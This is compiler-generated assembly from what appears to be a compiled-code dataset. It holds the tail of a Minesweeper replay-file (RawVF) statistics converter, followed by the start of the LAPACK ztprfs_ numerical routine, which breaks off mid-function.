movl -1748(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -1748(%rbp)
cltq
movsd %xmm0, -1376(%rbp,%rax,8)
movq _hzini@GOTPCREL(%rip), %rax
cvtsi2sdl (%rax), %xmm0
mulsd -1896(%rbp), %xmm0
cvtsi2sdl -1876(%rbp), %xmm1
divsd %xmm1, %xmm0
movl -1748(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -1748(%rbp)
cltq
movsd %xmm0, -1376(%rbp,%rax,8)
movq _hzini@GOTPCREL(%rip), %rax
cvtsi2sdl (%rax), %xmm0
mulsd -1896(%rbp), %xmm0
cvtsi2sdl -1884(%rbp), %xmm1
divsd %xmm1, %xmm0
movl -1748(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -1748(%rbp)
cltq
movsd %xmm0, -1376(%rbp,%rax,8)
movq _openings@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movq _islands@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movq _flags@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movq _wasted_flags@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movq _unflags@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movq _misflags@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movq _misunflags@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movq _rilian_clicks@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movl -1748(%rbp), %eax
movl %eax, %edx
addl $1, %edx
movl %edx, -1748(%rbp)
cltq
movl %ecx, -1040(%rbp,%rax,4)
movl -1748(%rbp), %eax
subl $1, %eax
cltq
cvtsi2sdl -1040(%rbp,%rax,4), %xmm0
divsd -1376(%rbp), %xmm0
movslq -1748(%rbp), %rax
movsd %xmm0, -1376(%rbp,%rax,8)
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
cmpl $0, _no_check_info(%rip)
jne LBB49_263
## %bb.260:
cmpl $0, -1808(%rbp)
je LBB49_263
## %bb.261:
cmpl $0, _won(%rip)
jne LBB49_263
## %bb.262:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.84(%rip), %rsi
movb $0, %al
callq _fprintf
LBB49_263:
movl $0, -1748(%rbp)
LBB49_264: ## =>This Inner Loop Header: Depth=1
cmpl $42, -1748(%rbp)
jge LBB49_286
## %bb.265: ## in Loop: Header=BB49_264 Depth=1
movslq -1748(%rbp), %rax
cmpl $0, -1728(%rbp,%rax,4)
jne LBB49_267
## %bb.266: ## in Loop: Header=BB49_264 Depth=1
jmp LBB49_285
LBB49_267: ## in Loop: Header=BB49_264 Depth=1
movslq -1748(%rbp), %rax
cmpl $0, -528(%rbp,%rax,4)
jne LBB49_272
## %bb.268: ## in Loop: Header=BB49_264 Depth=1
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movslq -1748(%rbp), %rax
movq -864(%rbp,%rax,8), %rsi
xorl %edx, %edx
callq _fseek
movslq -1748(%rbp), %rax
cmpl $0, -1552(%rbp,%rax,4)
je LBB49_270
## %bb.269: ## in Loop: Header=BB49_264 Depth=1
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movslq -1748(%rbp), %rax
movl -1040(%rbp,%rax,4), %edx
leaq L_.str.85(%rip), %rsi
movb $0, %al
callq _fprintf
jmp LBB49_271
LBB49_270: ## in Loop: Header=BB49_264 Depth=1
movslq -1748(%rbp), %rax
movsd LCPI49_2(%rip), %xmm0 ## xmm0 = mem[0],zero
mulsd -1376(%rbp,%rax,8), %xmm0
cvttsd2si %xmm0, %eax
movl %eax, -1900(%rbp)
cvtsi2ssl -1900(%rbp), %xmm0
movss LCPI49_1(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
divss %xmm1, %xmm0
movss %xmm0, -1904(%rbp)
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movss -1904(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
leaq L_.str.86(%rip), %rsi
movb $1, %al
callq _fprintf
LBB49_271: ## in Loop: Header=BB49_264 Depth=1
jmp LBB49_283
LBB49_272: ## in Loop: Header=BB49_264 Depth=1
cmpl $0, _no_check_info(%rip)
jne LBB49_282
## %bb.273: ## in Loop: Header=BB49_264 Depth=1
movq _input@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movslq -1748(%rbp), %rax
movq -864(%rbp,%rax,8), %rsi
xorl %edx, %edx
callq _fseek
movq _input@GOTPCREL(%rip), %rax
movq (%rax), %rdx
movq _event@GOTPCREL(%rip), %rdi
movl $1000, %esi ## imm = 0x3E8
callq _fgets
movslq -1748(%rbp), %rax
cmpl $0, -1552(%rbp,%rax,4)
je LBB49_276
## %bb.274: ## in Loop: Header=BB49_264 Depth=1
movq _event@GOTPCREL(%rip), %rdi
callq _atoi
movl %eax, -1908(%rbp)
movslq -1748(%rbp), %rcx
cmpl -1040(%rbp,%rcx,4), %eax
je LBB49_276
## %bb.275: ## in Loop: Header=BB49_264 Depth=1
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movslq -1748(%rbp), %rax
movq -352(%rbp,%rax,8), %rdx
movslq -1748(%rbp), %rax
movl -1040(%rbp,%rax,4), %ecx
movl -1908(%rbp), %r8d
leaq L_.str.87(%rip), %rsi
movb $0, %al
callq _fprintf
jmp LBB49_281
LBB49_276: ## in Loop: Header=BB49_264 Depth=1
movslq -1748(%rbp), %rax
cmpl $0, -1552(%rbp,%rax,4)
jne LBB49_280
## %bb.277: ## in Loop: Header=BB49_264 Depth=1
movq _event@GOTPCREL(%rip), %rdi
callq _strtodouble
movsd %xmm0, -1920(%rbp)
movslq -1748(%rbp), %rax
subsd -1376(%rbp,%rax,8), %xmm0
movsd %xmm0, -1928(%rbp)
movsd LCPI49_3(%rip), %xmm1 ## xmm1 = mem[0],zero
ucomisd %xmm1, %xmm0
jae LBB49_279
## %bb.278: ## in Loop: Header=BB49_264 Depth=1
movsd LCPI49_4(%rip), %xmm0 ## xmm0 = mem[0],zero
ucomisd -1928(%rbp), %xmm0
jb LBB49_280
LBB49_279: ## in Loop: Header=BB49_264 Depth=1
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movslq -1748(%rbp), %rax
movq -352(%rbp,%rax,8), %rdx
movslq -1748(%rbp), %rax
movsd -1376(%rbp,%rax,8), %xmm0 ## xmm0 = mem[0],zero
movsd -1920(%rbp), %xmm1 ## xmm1 = mem[0],zero
leaq L_.str.88(%rip), %rsi
movb $2, %al
callq _fprintf
LBB49_280: ## in Loop: Header=BB49_264 Depth=1
jmp LBB49_281
LBB49_281: ## in Loop: Header=BB49_264 Depth=1
jmp LBB49_282
LBB49_282: ## in Loop: Header=BB49_264 Depth=1
jmp LBB49_283
LBB49_283: ## in Loop: Header=BB49_264 Depth=1
jmp LBB49_284
LBB49_284: ## in Loop: Header=BB49_264 Depth=1
jmp LBB49_285
LBB49_285: ## in Loop: Header=BB49_264 Depth=1
movl -1748(%rbp), %eax
addl $1, %eax
movl %eax, -1748(%rbp)
jmp LBB49_264
LBB49_286:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _free
movl $0, -1732(%rbp)
LBB49_287:
movl -1732(%rbp), %eax
movl %eax, -1996(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB49_289
## %bb.288:
movl -1996(%rbp), %eax ## 4-byte Reload
addq $2000, %rsp ## imm = 0x7D0
popq %rbp
retq
LBB49_289:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _won ## @won
.zerofill __DATA,__common,_won,4,2
.globl _no_board_events ## @no_board_events
.zerofill __DATA,__common,_no_board_events,4,2
.globl _no_zini ## @no_zini
.zerofill __DATA,__common,_no_zini,4,2
.section __DATA,__data
.globl _no_rilian_clicks ## @no_rilian_clicks
.p2align 2
_no_rilian_clicks:
.long 1 ## 0x1
.globl _no_check_info ## @no_check_info
.zerofill __DATA,__common,_no_check_info,4,2
.globl _end_time ## @end_time
.zerofill __DATA,__common,_end_time,4,2
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%s\n"
.comm _size,4,2 ## @size
.comm _closed_cells,4,2 ## @closed_cells
.comm _board,8,3 ## @board
.comm _h,4,2 ## @h
.comm _size_ops,4000,4 ## @size_ops
.comm _size_isls,4000,4 ## @size_isls
.comm _openings,4,2 ## @openings
.comm _w,4,2 ## @w
L_.str.1: ## @.str.1
.asciz "Too many openings"
.comm _islands,4,2 ## @islands
L_.str.2: ## @.str.2
.asciz "Too many islands"
.comm _bbbv,4,2 ## @bbbv
.comm _zini,4,2 ## @zini
.comm _m,4,2 ## @m
.comm _gzini,4,2 ## @gzini
.comm _hzini,4,2 ## @hzini
.comm _output,8,3 ## @output
L_.str.3: ## @.str.3
.asciz "Cell pressed (it is a Questionmark) %d %d\n"
L_.str.4: ## @.str.4
.asciz "Cell pressed %d %d\n"
L_.str.5: ## @.str.5
.asciz "Cell released (it is a Questionmark) %d %d\n"
L_.str.6: ## @.str.6
.asciz "Cell released %d %d\n"
.comm _cur_time,4,2 ## @cur_time
L_.str.7: ## @.str.7
.asciz "%.3f Solved 3BV: %d of %d\n"
.comm _solved_bbbv,4,2 ## @solved_bbbv
L_.str.8: ## @.str.8
.asciz "Cell opened (Number %d) %d %d\n"
.comm _solved_ops,4,2 ## @solved_ops
L_.str.9: ## @.str.9
.asciz "Cell opened (it is a Mine) %d %d\n"
.comm _solved_isls,4,2 ## @solved_isls
.comm _wasted_flags,4,2 ## @wasted_flags
.comm _wasted_d_clicks,4,2 ## @wasted_d_clicks
.comm _wasted_clicks_15,4,2 ## @wasted_clicks_15
L_.str.10: ## @.str.10
.asciz "Flag %d %d\n"
.comm _flags,4,2 ## @flags
.comm _misflags,4,2 ## @misflags
L_.str.11: ## @.str.11
.asciz "Questionmark %d %d\n"
L_.str.12: ## @.str.12
.asciz "Flag removed %d %d\n"
.comm _unflags,4,2 ## @unflags
.comm _misunflags,4,2 ## @misunflags
.comm _left,4,2 ## @left
.comm _cur_x,4,2 ## @cur_x
.comm _cur_y,4,2 ## @cur_y
.comm _chorded,4,2 ## @chorded
.comm _right,4,2 ## @right
.comm _shift_left,4,2 ## @shift_left
.comm _superclick,4,2 ## @superclick
.comm _d_clicks,4,2 ## @d_clicks
.comm _onedotfive,4,2 ## @onedotfive
.comm _clicks_15,4,2 ## @clicks_15
.comm _rilian_clicks,4,2 ## @rilian_clicks
.comm _l_clicks,4,2 ## @l_clicks
.comm _wasted_l_clicks,4,2 ## @wasted_l_clicks
.comm _middle,4,2 ## @middle
.comm _nono,4,2 ## @nono
.comm _cur_prec_x,4,2 ## @cur_prec_x
.comm _cur_prec_y,4,2 ## @cur_prec_y
.comm _distance,4,2 ## @distance
.comm _elmar,4,2 ## @elmar
.comm _qm,4,2 ## @qm
L_.str.13: ## @.str.13
.asciz "Questionmark removed %d %d\n"
.comm _r_clicks,4,2 ## @r_clicks
.comm _superflag,4,2 ## @superflag
.comm _wasted_r_clicks,4,2 ## @wasted_r_clicks
L_.str.14: ## @.str.14
.asciz "Usage: rawvf2rawvf [-eirsz] [input] [output]\n"
L_.str.15: ## @.str.15
.asciz "Options:\n"
L_.str.16: ## @.str.16
.asciz " e - do not rewrite board events\n"
L_.str.17: ## @.str.17
.asciz " i - do not check info contained in the header\n"
L_.str.18: ## @.str.18
.asciz " r - treat rilian clicks as left clicks\n"
L_.str.19: ## @.str.19
.asciz " s - read from the standard input\n"
L_.str.20: ## @.str.20
.asciz " z - do not calculate ZiNi\n"
.comm _input,8,3 ## @input
L_.str.21: ## @.str.21
.asciz "r"
L_.str.22: ## @.str.22
.asciz "Can't open input file %s\n"
L_.str.23: ## @.str.23
.asciz "w+"
L_.str.24: ## @.str.24
.asciz "Can't open output file %s\n"
L_.str.25: ## @.str.25
.asciz "RAW_Time"
L_.str.26: ## @.str.26
.asciz "RAW_3BV"
L_.str.27: ## @.str.27
.asciz "RAW_Solved3BV"
L_.str.28: ## @.str.28
.asciz "RAW_3BV/s"
L_.str.29: ## @.str.29
.asciz "RAW_ZiNi"
L_.str.30: ## @.str.30
.asciz "RAW_ZiNi/s"
L_.str.31: ## @.str.31
.asciz "RAW_HZiNi"
L_.str.32: ## @.str.32
.asciz "RAW_HZiNi/s"
L_.str.33: ## @.str.33
.asciz "RAW_Clicks"
L_.str.34: ## @.str.34
.asciz "RAW_Clicks/s"
L_.str.35: ## @.str.35
.asciz "RAW_LeftClicks"
L_.str.36: ## @.str.36
.asciz "RAW_LeftClicks/s"
L_.str.37: ## @.str.37
.asciz "RAW_RightClicks"
L_.str.38: ## @.str.38
.asciz "RAW_RightClicks/s"
L_.str.39: ## @.str.39
.asciz "RAW_DoubleClicks"
L_.str.40: ## @.str.40
.asciz "RAW_DoubleClicks/s"
L_.str.41: ## @.str.41
.asciz "RAW_WastedClicks"
L_.str.42: ## @.str.42
.asciz "RAW_WastedClicks/s"
L_.str.43: ## @.str.43
.asciz "RAW_WastedLeftClicks"
L_.str.44: ## @.str.44
.asciz "RAW_WastedLeftClicks/s"
L_.str.45: ## @.str.45
.asciz "RAW_WastedRightClicks"
L_.str.46: ## @.str.46
.asciz "RAW_WastedRightClicks/s"
L_.str.47: ## @.str.47
.asciz "RAW_WastedDoubleClicks"
L_.str.48: ## @.str.48
.asciz "RAW_WastedDoubleClicks/s"
L_.str.49: ## @.str.49
.asciz "RAW_1.5Clicks"
L_.str.50: ## @.str.50
.asciz "RAW_1.5Clicks/s"
L_.str.51: ## @.str.51
.asciz "RAW_IOE"
L_.str.52: ## @.str.52
.asciz "RAW_Correctness"
L_.str.53: ## @.str.53
.asciz "RAW_Throughput"
L_.str.54: ## @.str.54
.asciz "RAW_ZNE"
L_.str.55: ## @.str.55
.asciz "RAW_ZNT"
L_.str.56: ## @.str.56
.asciz "RAW_HZNE"
L_.str.57: ## @.str.57
.asciz "RAW_HZNT"
L_.str.58: ## @.str.58
.asciz "RAW_Openings"
L_.str.59: ## @.str.59
.asciz "RAW_Islands"
L_.str.60: ## @.str.60
.asciz "RAW_Flags"
L_.str.61: ## @.str.61
.asciz "RAW_WastedFlags"
L_.str.62: ## @.str.62
.asciz "RAW_Unflags"
L_.str.63: ## @.str.63
.asciz "RAW_Misflags"
L_.str.64: ## @.str.64
.asciz "RAW_Misunflags"
L_.str.65: ## @.str.65
.asciz "RAW_RilianClicks"
L_.str.66: ## @.str.66
.asciz "RAW_RilianClicks/s"
.section __DATA,__const
.p2align 4 ## @__const.main.info
l___const.main.info:
.quad L_.str.25
.quad L_.str.26
.quad L_.str.27
.quad L_.str.28
.quad L_.str.29
.quad L_.str.30
.quad L_.str.31
.quad L_.str.32
.quad L_.str.33
.quad L_.str.34
.quad L_.str.35
.quad L_.str.36
.quad L_.str.37
.quad L_.str.38
.quad L_.str.39
.quad L_.str.40
.quad L_.str.41
.quad L_.str.42
.quad L_.str.43
.quad L_.str.44
.quad L_.str.45
.quad L_.str.46
.quad L_.str.47
.quad L_.str.48
.quad L_.str.49
.quad L_.str.50
.quad L_.str.51
.quad L_.str.52
.quad L_.str.53
.quad L_.str.54
.quad L_.str.55
.quad L_.str.56
.quad L_.str.57
.quad L_.str.58
.quad L_.str.59
.quad L_.str.60
.quad L_.str.61
.quad L_.str.62
.quad L_.str.63
.quad L_.str.64
.quad L_.str.65
.quad L_.str.66
.section __TEXT,__const
.p2align 4 ## @__const.main.int_info
l___const.main.int_info:
.long 0 ## 0x0
.long 1 ## 0x1
.long 1 ## 0x1
.long 0 ## 0x0
.long 1 ## 0x1
.long 0 ## 0x0
.long 1 ## 0x1
.long 0 ## 0x0
.long 1 ## 0x1
.long 0 ## 0x0
.long 1 ## 0x1
.long 0 ## 0x0
.long 1 ## 0x1
.long 0 ## 0x0
.long 1 ## 0x1
.long 0 ## 0x0
.long 1 ## 0x1
.long 0 ## 0x0
.long 1 ## 0x1
.long 0 ## 0x0
.long 1 ## 0x1
.long 0 ## 0x0
.long 1 ## 0x1
.long 0 ## 0x0
.long 1 ## 0x1
.long 0 ## 0x0
.long 0 ## 0x0
.long 0 ## 0x0
.long 0 ## 0x0
.long 0 ## 0x0
.long 0 ## 0x0
.long 0 ## 0x0
.long 0 ## 0x0
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 0 ## 0x0
.comm _event,1000,4 ## @event
.section __TEXT,__cstring,cstring_literals
L_.str.67: ## @.str.67
.asciz "No board\n"
L_.str.68: ## @.str.68
.asciz "board"
L_.str.69: ## @.str.69
.asciz "width"
L_.str.70: ## @.str.70
.asciz "height"
L_.str.71: ## @.str.71
.asciz "mines"
L_.str.72: ## @.str.72
.asciz "marks"
L_.str.73: ## @.str.73
.asciz "on\n"
L_.str.74: ## @.str.74
.asciz "level"
L_.str.75: ## @.str.75
.asciz "Marathon"
L_.str.76: ## @.str.76
.asciz "This program doesn't support marathon RawVF"
L_.str.77: ## @.str.77
.asciz "Beginner"
L_.str.78: ## @.str.78
.asciz "Intermediate"
L_.str.79: ## @.str.79
.asciz "Expert"
L_.str.80: ## @.str.80
.asciz "Mode"
L_.str.81: ## @.str.81
.asciz "Classic"
L_.str.82: ## @.str.82
.asciz ": \n"
L_.str.83: ## @.str.83
.asciz "Unknown event"
L_.str.84: ## @.str.84
.asciz "File contains wrong info: it says the game was won while it was not\n"
L_.str.85: ## @.str.85
.asciz "%d"
L_.str.86: ## @.str.86
.asciz "%.3f"
L_.str.87: ## @.str.87
.asciz "File contains wrong info:\n %s = %d while the file claims it's %d\n"
L_.str.88: ## @.str.88
.asciz "File contains wrong info:\n %s = %.3f while the file claims it's %.3f\n"
.subsections_via_symbols
| the_stack_data/242331185.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ztprfs_ ; -- Begin function ztprfs_
.p2align 2
_ztprfs_: ; @ztprfs_
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #1024
ldr x14, [x29, #16]
ldr x13, [x29, #24]
ldr x12, [x29, #32]
ldr x11, [x29, #40]
ldr x10, [x29, #48]
ldr x9, [x29, #56]
ldr x8, [x29, #64]
adrp x15, ___stack_chk_guard@GOTPAGE
ldr x15, [x15, ___stack_chk_guard@GOTPAGEOFF]
ldr x15, [x15]
stur x15, [x29, #-24]
stur x0, [x29, #-48]
stur x1, [x29, #-56]
stur x2, [x29, #-64]
stur x3, [x29, #-72]
stur x4, [x29, #-80]
stur x5, [x29, #-88]
stur x6, [x29, #-96]
stur x7, [x29, #-104]
stur x14, [x29, #-112]
stur x13, [x29, #-120]
stur x12, [x29, #-128]
stur x11, [x29, #-136]
stur x10, [x29, #-144]
stur x9, [x29, #-152]
stur x8, [x29, #-160]
ldur x8, [x29, #-88]
subs x8, x8, #16
stur x8, [x29, #-88]
ldur x8, [x29, #-104]
ldr w8, [x8]
stur w8, [x29, #-164]
ldur w8, [x29, #-164]
mov x9, #0
lsr w8, w8, #0
add w8, w8, #1
stur w8, [x29, #-168]
ldursw x10, [x29, #-168]
ldur x8, [x29, #-96]
subs x10, x9, x10
add x8, x8, x10, lsl #4
stur x8, [x29, #-96]
ldur x8, [x29, #-120]
ldr w8, [x8]
stur w8, [x29, #-172]
ldur w8, [x29, #-172]
lsr w8, w8, #0
add w8, w8, #1
stur w8, [x29, #-176]
ldursw x10, [x29, #-176]
ldur x8, [x29, #-112]
subs x9, x9, x10
add x8, x8, x9, lsl #4
stur x8, [x29, #-112]
ldur x8, [x29, #-128]
subs x8, x8, #8
stur x8, [x29, #-128]
ldur x8, [x29, #-136]
subs x8, x8, #8
stur x8, [x29, #-136]
ldur x8, [x29, #-144]
subs x8, x8, #16
stur x8, [x29, #-144]
ldur x8, [x29, #-152]
subs x8, x8, #8
stur x8, [x29, #-152]
ldur x8, [x29, #-160]
str wzr, [x8]
ldur x0, [x29, #-48]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _lsame_
str w0, [sp, #740]
ldur x0, [x29, #-56]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
str x1, [sp, #672] ; 8-byte Folded Spill
bl _lsame_
ldr x1, [sp, #672] ; 8-byte Folded Reload
str w0, [sp, #708]
ldur x0, [x29, #-64]
bl _lsame_
str w0, [sp, #700]
ldr w8, [sp, #740]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_3
b LBB0_1
LBB0_1:
ldur x0, [x29, #-48]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _lsame_
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2:
ldur x9, [x29, #-160]
mov w8, #-1
str w8, [x9]
b LBB0_30
LBB0_3:
ldr w8, [sp, #708]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_7
b LBB0_4
LBB0_4:
ldur x0, [x29, #-56]
adrp x1, l_.str.3@PAGE
add x1, x1, l_.str.3@PAGEOFF
bl _lsame_
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_7
b LBB0_5
LBB0_5:
ldur x0, [x29, #-56]
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl _lsame_
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
ldur x9, [x29, #-160]
mov w8, #-2
str w8, [x9]
b LBB0_29
LBB0_7:
ldr w8, [sp, #700]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_10
b LBB0_8
LBB0_8:
ldur x0, [x29, #-64]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _lsame_
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9:
ldur x9, [x29, #-160]
mov w8, #-3
str w8, [x9]
b LBB0_28
LBB0_10:
ldur x8, [x29, #-72]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB0_12
b LBB0_11
LBB0_11:
ldur x9, [x29, #-160]
mov w8, #-4
str w8, [x9]
b LBB0_27
LBB0_12:
ldur x8, [x29, #-80]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB0_14
b LBB0_13
LBB0_13:
ldur x9, [x29, #-160]
mov w8, #-5
str w8, [x9]
b LBB0_26
LBB0_14:
ldur x8, [x29, #-104]
ldr w8, [x8]
str w8, [sp, #668] ; 4-byte Folded Spill
ldur x8, [x29, #-72]
ldr w9, [x8]
mov w8, #1
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB0_16
b LBB0_15
LBB0_15:
mov w8, #1
str w8, [sp, #664] ; 4-byte Folded Spill
b LBB0_17
LBB0_16:
ldur x8, [x29, #-72]
ldr w8, [x8]
str w8, [sp, #664] ; 4-byte Folded Spill
b LBB0_17
LBB0_17:
ldr w8, [sp, #668] ; 4-byte Folded Reload
ldr w9, [sp, #664] ; 4-byte Folded Reload
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_19
b LBB0_18
LBB0_18:
ldur x9, [x29, #-160]
mov w8, #-8
str w8, [x9]
b LBB0_25
LBB0_19:
ldur x8, [x29, #-120]
ldr w8, [x8]
str w8, [sp, #660] ; 4-byte Folded Spill
ldur x8, [x29, #-72]
ldr w9, [x8]
mov w8, #1
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB0_21
b LBB0_20
LBB0_20:
mov w8, #1
str w8, [sp, #656] ; 4-byte Folded Spill
b LBB0_22
LBB0_21:
ldur x8, [x29, #-72]
ldr w8, [x8]
str w8, [sp, #656] ; 4-byte Folded Spill
b LBB0_22
LBB0_22:
ldr w8, [sp, #660] ; 4-byte Folded Reload
ldr w9, [sp, #656] ; 4-byte Folded Reload
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_24
b LBB0_23
LBB0_23:
ldur x9, [x29, #-160]
mov w8, #-10
str w8, [x9]
b LBB0_24
LBB0_24:
b LBB0_25
LBB0_25:
b LBB0_26
LBB0_26:
b LBB0_27
LBB0_27:
b LBB0_28
LBB0_28:
b LBB0_29
LBB0_29:
b LBB0_30
LBB0_30:
ldur x8, [x29, #-160]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_32
b LBB0_31
LBB0_31:
ldur x8, [x29, #-160]
ldr w9, [x8]
mov w8, #0
subs w8, w8, w9
sub x1, x29, #180
stur w8, [x29, #-180]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
mov w2, #6
bl _xerbla_
stur wzr, [x29, #-40]
b LBB0_323
LBB0_32:
ldur x8, [x29, #-72]
ldr w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_34
b LBB0_33
LBB0_33:
ldur x8, [x29, #-80]
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_39
b LBB0_34
LBB0_34:
ldur x8, [x29, #-80]
ldr w8, [x8]
stur w8, [x29, #-180]
mov w8, #1
str w8, [sp, #760]
b LBB0_35
LBB0_35: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #760]
ldur w9, [x29, #-180]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_38
b LBB0_36
LBB0_36: ; in Loop: Header=BB0_35 Depth=1
ldur x8, [x29, #-128]
ldrsw x9, [sp, #760]
movi d0, #0000000000000000
str d0, [x8, x9, lsl #3]
ldur x8, [x29, #-136]
ldrsw x9, [sp, #760]
str d0, [x8, x9, lsl #3]
b LBB0_37
LBB0_37: ; in Loop: Header=BB0_35 Depth=1
ldr w8, [sp, #760]
add w8, w8, #1
str w8, [sp, #760]
b LBB0_35
LBB0_38:
stur wzr, [x29, #-40]
b LBB0_323
LBB0_39:
ldr w8, [sp, #708]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_41
b LBB0_40
LBB0_40:
mov w8, #78
strb w8, [sp, #707]
mov w8, #67
strb w8, [sp, #706]
b LBB0_42
LBB0_41:
mov w8, #67
strb w8, [sp, #707]
mov w8, #78
strb w8, [sp, #706]
b LBB0_42
LBB0_42:
ldur x8, [x29, #-72]
ldr w8, [x8]
mov w9, #1
str w9, [sp, #652] ; 4-byte Folded Spill
add w8, w8, #1
str w8, [sp, #724]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _dlamch_
str d0, [sp, #680]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _dlamch_
ldr w8, [sp, #652] ; 4-byte Folded Reload
str d0, [sp, #712]
ldr s1, [sp, #724]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldr d1, [sp, #712]
fmul d0, d0, d1
str d0, [sp, #776]
ldr d0, [sp, #776]
ldr d1, [sp, #680]
fdiv d0, d0, d1
str d0, [sp, #768]
ldur x9, [x29, #-80]
ldr w9, [x9]
stur w9, [x29, #-180]
str w8, [sp, #760]
b LBB0_43
LBB0_43: ; =>This Loop Header: Depth=1
; Child Loop BB0_45 Depth 2
; Child Loop BB0_219 Depth 2
; Child Loop BB0_227 Depth 3
; Child Loop BB0_198 Depth 2
; Child Loop BB0_200 Depth 3
; Child Loop BB0_169 Depth 2
; Child Loop BB0_177 Depth 3
; Child Loop BB0_148 Depth 2
; Child Loop BB0_150 Depth 3
; Child Loop BB0_123 Depth 2
; Child Loop BB0_131 Depth 3
; Child Loop BB0_102 Depth 2
; Child Loop BB0_110 Depth 3
; Child Loop BB0_79 Depth 2
; Child Loop BB0_87 Depth 3
; Child Loop BB0_58 Depth 2
; Child Loop BB0_66 Depth 3
; Child Loop BB0_248 Depth 2
; Child Loop BB0_273 Depth 2
; Child Loop BB0_292 Depth 2
; Child Loop BB0_300 Depth 3
; Child Loop BB0_295 Depth 3
; Child Loop BB0_306 Depth 2
ldr w8, [sp, #760]
ldur w9, [x29, #-180]
